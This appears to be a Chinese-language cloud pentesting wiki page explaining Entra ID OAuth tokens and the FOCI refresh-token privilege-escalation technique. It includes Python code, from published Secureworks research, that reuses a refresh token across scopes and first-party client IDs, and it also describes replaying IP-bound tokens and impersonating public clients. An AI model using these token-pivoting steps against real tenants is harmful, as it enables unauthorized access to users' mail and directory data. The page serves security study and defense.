基本信息
Entra ID 是微软基于云的身份和访问管理(IAM)平台,作为 Microsoft 365 和 Azure 资源管理器等服务的基础认证和授权系统。Azure AD 实现了 OAuth 2.0 授权框架和 OpenID Connect (OIDC) 认证协议,以管理对资源的访问。
OAuth
OAuth 2.0 的关键参与者:
资源服务器 (RS): 保护资源所有者拥有的资源。
资源所有者 (RO): 通常是拥有受保护资源的最终用户。
客户端应用程序 (CA): 代表资源所有者请求访问资源的应用程序。
授权服务器 (AS): 在验证和授权客户端应用程序后向其发放访问令牌。
范围和同意:
范围: 在资源服务器上定义的细粒度权限,指定访问级别。
同意: 资源所有者授予客户端应用程序访问特定范围资源的权限的过程。
Microsoft 365 集成:
Microsoft 365 利用 Azure AD 进行 IAM,并由多个“第一方”OAuth 应用程序组成。
这些应用程序深度集成,通常具有相互依赖的服务关系。
为了简化用户体验并保持功能,微软对这些第一方应用程序授予“隐含同意”或“预先同意”。
隐含同意: 某些应用程序在没有明确用户或管理员批准的情况下自动获得对特定范围的访问权限 。
这些预先同意的范围通常对用户和管理员都是隐藏的,使其在标准管理界面中不太可见。
客户端应用程序类型:
安全隐患: 攻击者可以在请求令牌时冒充公共客户端应用程序,因为授权服务器没有机制来验证应用程序的合法性。
认证令牌
在 OIDC 中使用三种类型的令牌 :
访问令牌 : 客户端将此令牌呈现给资源服务器以访问资源 。它只能用于特定的用户、客户端和资源组合,并且在到期之前无法被撤销 - 默认情况下为 1 小时。
ID 令牌 :客户端从授权服务器 接收此令牌 。它包含有关用户的基本信息。它绑定到特定的用户和客户端组合 。
刷新令牌 :与访问令牌一起提供给客户端。用于获取新的访问和 ID 令牌 。它绑定到特定的用户和客户端组合,并且可以被撤销。默认过期时间为90 天 (对于不活动的刷新令牌)和活动令牌没有过期 (可以从刷新令牌获取新的刷新令牌)。
刷新令牌应与**aud
、某些 范围和 租户相关联,并且只能为该 aud、范围(且不更多)和租户生成访问令牌。然而,这在 FOCI 应用程序令牌**中并非如此。
有关条件访问 的信息存储 在JWT 中。因此,如果您从允许的 IP 地址请求令牌 ,该IP 将被存储 在令牌中,然后您可以使用该令牌从不允许的 IP 访问资源 。
访问令牌 "aud"
在 "aud" 字段中指示的字段是用于执行登录的资源服务器 (应用程序)。
命令 az account get-access-token --resource-type [...]
支持以下类型,每种类型将在结果访问令牌中添加特定的 "aud":
请注意,以下仅是 az account get-access-token
支持的 API,但还有更多。
aud 示例aad-graph (Azure Active Directory Graph API) :用于访问遗留的 Azure AD Graph API(已弃用),允许应用程序读取和写入 Azure Active Directory (Azure AD) 中的目录数据。
https://graph.windows.net/
arm (Azure Resource Manager) :用于通过 Azure Resource Manager API 管理 Azure 资源。这包括创建、更新和删除虚拟机、存储帐户等资源的操作。
https://management.core.windows.net/ or https://management.azure.com/
batch (Azure Batch Services) :用于访问 Azure Batch,这是一项服务,可有效地在云中启用大规模并行和高性能计算应用程序。
https://batch.core.windows.net/
data-lake (Azure Data Lake Storage) :用于与 Azure Data Lake Storage Gen1 交互,这是一项可扩展的数据存储和分析服务。
https://datalake.azure.net/
media (Azure Media Services) :用于访问 Azure Media Services,提供基于云的视频和音频内容处理和交付服务。
https://rest.media.azure.net
ms-graph (Microsoft Graph API) :用于访问 Microsoft Graph API,这是 Microsoft 365 服务数据的统一端点。它允许您访问 Azure AD、Office 365、企业移动性和安全服务等服务的数据和见解。
https://graph.microsoft.com
oss-rdbms (Azure Open Source Relational Databases) :用于访问 Azure 数据库服务,支持开源关系数据库引擎,如 MySQL、PostgreSQL 和 MariaDB。
https://ossrdbms-aad.database.windows.net
访问令牌范围 "scp"
访问令牌的范围存储在访问令牌 JWT 内的 scp 键中。这些范围定义了访问令牌可以访问的内容。
如果 JWT 被允许联系特定 API,但没有范围 来执行请求的操作,则它将无法使用该 JWT 执行该操作 。
获取刷新和访问令牌示例
Copy # Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any , Dict , List
# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal . PublicClientApplication (
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client . initiate_device_flow (
scopes = [ "https://graph.microsoft.com/.default" ]
)
print (device_flow[ "message" ])
# Perform device code flow authentication
azure_cli_bearer_tokens_for_graph_api = azure_cli_client . acquire_token_by_device_flow (
device_flow
)
pprint (azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt ( base64_blob : str ) -> Dict [ str , Any ] :
"""Decodes base64 encoded JWT blob"""
return jwt . decode (
base64_blob, options = { "verify_signature" : False , "verify_aud" : False }
)
decoded_access_token = decode_jwt (
azure_cli_bearer_tokens_for_graph_api. get ( "access_token" )
)
pprint (decoded_access_token)
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client . acquire_token_by_refresh_token (
azure_cli_bearer_tokens_for_graph_api. get ( "refresh_token" ),
# Same scopes as original authorization
scopes = [ "https://graph.microsoft.com/.default" ],
)
)
pprint (new_azure_cli_bearer_tokens_for_graph_api)
FOCI Tokens Privilege Escalation
之前提到过,刷新令牌应该与生成时的范围 、应用程序 和租户 绑定。如果任何这些边界被打破,就有可能提升权限,因为将能够生成访问令牌以访问用户有权限的其他资源和租户,并且具有比最初预期更多的范围。
此外,这对于所有刷新令牌都是可能的 ,在Microsoft identity platform (Microsoft Entra 账户、Microsoft 个人账户以及 Facebook 和 Google 等社交账户)中,因为正如文档 所提到的:“刷新令牌绑定于用户和客户端的组合,但不绑定于资源或租户 。客户端可以使用刷新令牌获取在其有权限的任何资源和租户组合 中的访问令牌。刷新令牌是加密的,只有 Microsoft identity platform 可以读取它们。”
此外,请注意 FOCI 应用程序是公共应用程序,因此不需要秘密 来进行服务器身份验证。
然后在原始研究 中报告的已知 FOCI 客户端可以在这里找到 。
Get different scope
继续之前的示例代码,在这段代码中请求一个不同范围的新令牌:
Copy # Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client . acquire_token_by_refresh_token (
new_azure_cli_bearer_tokens_for_graph_api. get (
"refresh_token"
),
# But different scopes than original authorization
scopes = [
"https://outlook.office.com/.default"
],
)
)
pprint (azure_cli_bearer_tokens_for_outlook_api)
获取不同的客户端和范围
Copy # Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal . PublicClientApplication ( "d3590ed6-52b3-4102-aeff-aad2292ab01c" )
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client . acquire_token_by_refresh_token (
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api. get ( "refresh_token" ),
# And request different scopes too
scopes = [ "https://graph.microsoft.com/.default" ],
)
)
# How is this possible?
pprint (microsoft_office_bearer_tokens_for_graph_api)
参考文献